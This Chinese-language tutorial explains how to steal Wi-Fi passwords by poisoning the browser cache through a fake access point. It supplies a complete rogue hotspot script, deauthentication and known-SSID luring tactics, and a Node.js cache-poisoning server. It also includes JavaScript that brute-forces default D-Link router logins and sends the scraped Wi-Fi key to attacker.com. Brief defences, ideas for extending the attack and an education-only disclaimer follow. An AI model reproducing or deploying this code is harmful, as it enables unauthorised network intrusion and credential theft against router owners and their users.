使用javascript缓存投毒攻击wifi
字数 1175 2025-08-22 12:22:36
JavaScript缓存投毒攻击Wi-Fi密码教学文档
1. 攻击概述
本攻击方法利用浏览器缓存机制窃取Wi-Fi密码,主要步骤如下:
- 创建虚假Wi-Fi接入点
- 诱使目标设备连接
- 通过HTTP代理注入恶意JavaScript代码
- 利用缓存机制使恶意代码在目标重新连接真实路由器后仍能执行
- 自动尝试登录路由器并获取Wi-Fi密码
2. 所需工具
- 树莓派或其他Linux设备
- hostapd (创建Wi-Fi热点)
- dnsmasq (DHCP和DNS服务)
- iptables (NAT配置)
- bettercap (HTTP代理和注入)
- 基本Web服务器环境
3. 详细实施步骤
3.1 创建虚假接入点
使用以下脚本创建开放Wi-Fi热点:
#!/bin/bash
# 配置参数
internet=eth0 # 互联网接口
phy=wlan0 # Wi-Fi接口
essid="TEST" # 热点名称
# 启动接口
ip link set dev $internet up
ip link set dev $phy up
# DNSMASQ配置
echo "interface=$phy
bind-interfaces
dhcp-option=3,10.0.0.1
dhcp-option=6,10.0.0.1
dhcp-range=10.0.0.2,10.0.0.10,12h
no-hosts
no-resolv
log-queries
log-facility=/var/log/dnsmasq.log
server=8.8.8.8
server=8.8.4.4" > tmp-dnsmasq.conf
dnsmasq --conf-file=tmp-dnsmasq.conf
# IP转发和NAT
echo '1' > /proc/sys/net/ipv4/ip_forward
iptables -A FORWARD -i $internet -o $phy -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A FORWARD -i $phy -o $internet -j ACCEPT
iptables -t nat -A POSTROUTING -o $internet -j MASQUERADE
# HOSTAPD配置
echo "ctrl_interface=/var/run/hostapd
interface=$phy
ssid=$essid
driver=nl80211
auth_algs=3
channel=11
hw_mode=g
macaddr_acl=0
wmm_enabled=0" > tmp-hotspot.conf
# 后台运行hostapd
screen -dmS hostapd hostapd tmp-hotspot.conf
3.2 诱骗连接策略
策略1:针对已连接设备
- 使用802.11解除认证攻击强制设备断开当前连接
- 创建同名开放热点诱使用户连接
策略2:针对未连接设备
- 扫描目标设备曾连接过的热点名称
- 创建同名开放热点等待自动连接
3.3 恶意JavaScript注入
注入流程
- 通过bettercap拦截HTTP响应
- 注入包含iframe的JavaScript代码
- iframe指向路由器IP地址(如192.168.1.1)
- 代理响应iframe请求并返回恶意代码
- 设置长期缓存头确保代码持久化
缓存投毒服务器代码
var http = require("http");
var routers = ["192.168.0.1/", "192.168.1.1/", "192.168.1.90/"]
var fs = require('fs');
// 加载网页和JS文件
var index = fs.readFileSync("./www/index.html");
var jsob = fs.readdirSync('./www/js');
var repobj = {}
for(var i in jsob){
repobj["/" + jsob[i]] = fs.readFileSync('./www/js/' + jsob[i]);
}
var server = http.createServer(function(request, response) {
var url = request.headers.host + request.url;
var headers = {
"Content-Type": "text/html",
"Server": "dribble",
"Cache-Control": "public, max-age=99936000",
"Expires": "Wed, 2 Nov 2050 10:00:00 GMT",
"Last-Modified": "Wed, 2 Nov 1988 10:00:00 GMT",
"Access-Control-Allow-Origin": "*"
};
// 缓存首页
if(routers.includes(url)) {
response.writeHead(200, headers);
response.write(index);
response.end();
return;
}
// 缓存JS负载
else if(repobj[request.url]){
headers["Content-Type"] = "application/javascript";
response.writeHead(200, headers);
response.write(repobj[request.url]);
response.end();
return;
}
});
server.listen(80);
3.4 针对D-Link路由器的攻击代码
// 检测是否为D-Link路由器
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://192.168.1.1/ui/login', true);
xhr.setRequestHeader("hydra", "true");
xhr.onload = function() {
if(this.response.includes("D-LINK")){
dlinkStart();
}
};
xhr.responseType = 'text'
xhr.send(null);
function dlinkStart(){
// 常见用户名和密码组合
var usernames = ["administrator", "Administrator", "admin", "Admin"];
var passwords = ["password", "admin", "1234", "", "pwd"];
var combos = [];
// 生成所有组合
for(var i = 0; i < usernames.length; i++) {
for(var j = 0; j < passwords.length; j++) {
combos.push({"user": usernames[i], "pwd": passwords[j]})
}
}
function dlinkAttacker(user, passwd) {
// 获取nonce值
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://192.168.1.1/ui/login', true);
xhr.onload = function() {
if(this.readyState == XMLHttpRequest.DONE && this.status == 200) {
var username = user;
var pwd = passwd;
var nonce = xhr.response.form.nonce.value;
var encPwd = CryptoJS.HmacSHA256(pwd, nonce);
// 尝试登录
var xhr2 = new XMLHttpRequest();
xhr2.open('POST', 'http://192.168.1.1/ui/login', true);
xhr2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr2.onload = function() {
if(this.readyState == XMLHttpRequest.DONE && this.status == 200) {
try {
// 登录成功,获取Wi-Fi密码
var wlanPsk = xhr2.response.getElementById('wlan-psk').innerHTML;
// 发送密码到攻击者服务器
var xhr3 = new XMLHttpRequest();
xhr3.open('GET', 'https://attacker.com/logger.php?pwd=' + wlanPsk);
xhr3.send(null);
} catch(e) {
// 登录失败,尝试下一组凭证
i++;
dlinkAttacker(combos[i].user, combos[i].pwd);
}
}
}
var params = 'userName=' + username + '&language=IT&login=Login&userPwd=' +
encPwd + '&nonce=' + nonce;
xhr2.responseType = 'document';
xhr2.send(params);
}
};
xhr.responseType = 'document';
xhr.send(null);
}
// 开始攻击
dlinkAttacker(combos[0].user, combos[0].pwd);
}
4. 攻击原理详解
4.1 缓存投毒机制
- 同源策略绕过:通过虚假AP代理响应,使浏览器认为恶意代码来自路由器IP
- 长期缓存:设置Cache-Control和Expires头使代码长期有效
- 持久性:即使断开虚假AP,代码仍能从缓存加载执行
4.2 D-Link路由器漏洞利用
- 登录机制:D-Link使用HMAC-SHA256(nonce+password)进行认证
- 密码暴露:Wi-Fi密码在登录后的页面中以明文显示
- 自动登录:脚本尝试常见凭证组合自动登录
5. 防御措施
5.1 用户防御
- 避免连接不明Wi-Fi热点
- 定期清除浏览器缓存
- 使用HTTPS everywhere扩展强制加密连接
- 为路由器设置强密码并禁用默认账户
5.2 路由器厂商建议
- 实现X-Frame-Options和Content-Security-Policy头
- 密码输入页面使用HTTP严格传输安全(HSTS)
- 避免在页面中明文显示敏感信息
6. 扩展思路
- 支持更多路由器型号:分析不同品牌路由器的登录机制
- 隐蔽通信:使用WebSocket或DNS隧道传输窃取的密码
- 0-click利用:结合浏览器漏洞实现无需用户交互的攻击
7. 法律与道德声明
本技术文档仅用于教育目的和安全研究,未经授权对他人网络实施此类攻击可能违反法律。在实际应用中,请确保获得适当授权并遵守相关法律法规。